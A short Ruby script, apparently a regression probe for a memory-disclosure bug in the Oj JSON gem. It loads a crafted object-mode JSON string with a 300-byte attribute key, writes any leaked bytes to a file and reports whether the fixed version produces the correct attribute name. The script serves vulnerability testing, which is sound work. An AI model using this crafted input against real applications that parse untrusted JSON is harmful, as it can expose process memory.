# Single-shot probe: one Oj.load with a 300-byte key in :object mode.
# argv[0] = output file for raw leaked/attribute bytes
# Prints structured KEY=VALUE lines on stdout.
require 'oj'
KEY_LEN = 300
key = "A" * KEY_LEN
json = %Q[{"^o":"Oj::Bag","#{key}":1}]
out_file = ARGV[0]
begin
  result = Oj.load(json, mode: :object)
  ivars = result.instance_variables
  if ivars.empty?
    File.binwrite(out_file, "") if out_file
    puts "OUTCOME=no_ivar"
  else
    s = ivars.first.to_s
    raw = s.bytes.pack("C*")
    File.binwrite(out_file, raw) if out_file
    # Fixed version: "@AAAA..." => bytesize 301, first byte 0x40 ('@'), rest 0x41 ('A')
    correct = (s.bytesize == KEY_LEN + 1 && s.getbyte(0) == 0x40 && s.bytes[1..].all? { |b| b == 0x41 })
    puts "OUTCOME=parsed"
    puts "IVAR_LEN=#{s.bytesize}"
    puts "CORRECT_ATTR=#{correct}"
    puts "FIRST_BYTES=#{s.bytes.first(32).map { |b| b.to_s(16).rjust(2,'0') }.join}"
  end
rescue EncodingError => e
  msg = e.message
  raw = msg.b
  File.binwrite(out_file, raw) if out_file
  non_a = msg.bytes.count { |b| b != 0x41 }
  puts "OUTCOME=encoding_error"
  puts "MSG_LEN=#{msg.bytesize}"
  puts "NON_A_BYTES=#{non_a}"
  puts "FIRST_BYTES=#{msg.bytes.first(48).map { |b| b.to_s(16).rjust(2,'0') }.join}"
rescue => e
  File.binwrite(out_file, "") if out_file
  puts "OUTCOME=other_error"
  puts "ERR_CLASS=#{e.class}"
  puts "ERR_MSG=#{e.message[0, 200]}"
end
